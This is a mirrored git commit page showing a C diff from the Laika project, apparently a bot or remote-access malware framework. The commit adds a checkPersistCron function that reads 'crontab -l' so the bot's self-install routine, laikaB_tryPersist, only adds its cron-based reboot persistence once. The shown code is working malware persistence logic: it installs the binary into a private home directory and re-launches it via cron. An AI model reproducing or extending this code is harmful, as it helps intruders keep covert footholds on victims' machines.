mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-22 04:50:06 +00:00
check if installed in crontab before installing
This commit is contained in:
parent
d34a824133
commit
bb6e489945
@ -76,13 +76,34 @@ void getInstallPath(char *outPath, int pathSz) {
|
||||
|
||||
/* create install directory if it doesn't exist */
|
||||
snprintf(outPath, pathSz, "%s/%s", home, LAIKA_INSTALL_DIR_USER);
|
||||
if (stat(outPath, &st) == -1) {
|
||||
LAIKA_DEBUG("creating '%s'...\n", outPath);
|
||||
if (stat(outPath, &st) == -1)
|
||||
mkdir(outPath, 0700);
|
||||
}
|
||||
|
||||
snprintf(outPath, pathSz, "%s/%s/%s", home, LAIKA_INSTALL_DIR_USER, LAIKA_INSTALL_FILE_USER);
|
||||
}
|
||||
|
||||
bool checkPersistCron(char *path) {
|
||||
char buf[PATH_MAX + 128];
|
||||
FILE *fp;
|
||||
bool res = false;
|
||||
|
||||
if ((fp = popen("crontab -l", "r")) == NULL)
|
||||
LAIKA_ERROR("popen('crontab') failed!");
|
||||
|
||||
while (fgets(buf, sizeof(buf), fp)) {
|
||||
if (strstr(buf, path)) {
|
||||
/* laika is installed in the crontab! */
|
||||
res = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
pclose(fp);
|
||||
return res;
|
||||
}
|
||||
|
||||
void tryPersistCron(char *path) {
|
||||
char cmd[PATH_MAX + 128];
|
||||
|
||||
@ -113,6 +134,7 @@ void laikaB_tryPersist() {
|
||||
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
|
||||
|
||||
/* enable persistence on reboot via cron */
|
||||
if (!checkPersistCron(installPath))
|
||||
tryPersistCron(installPath);
|
||||
#endif
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user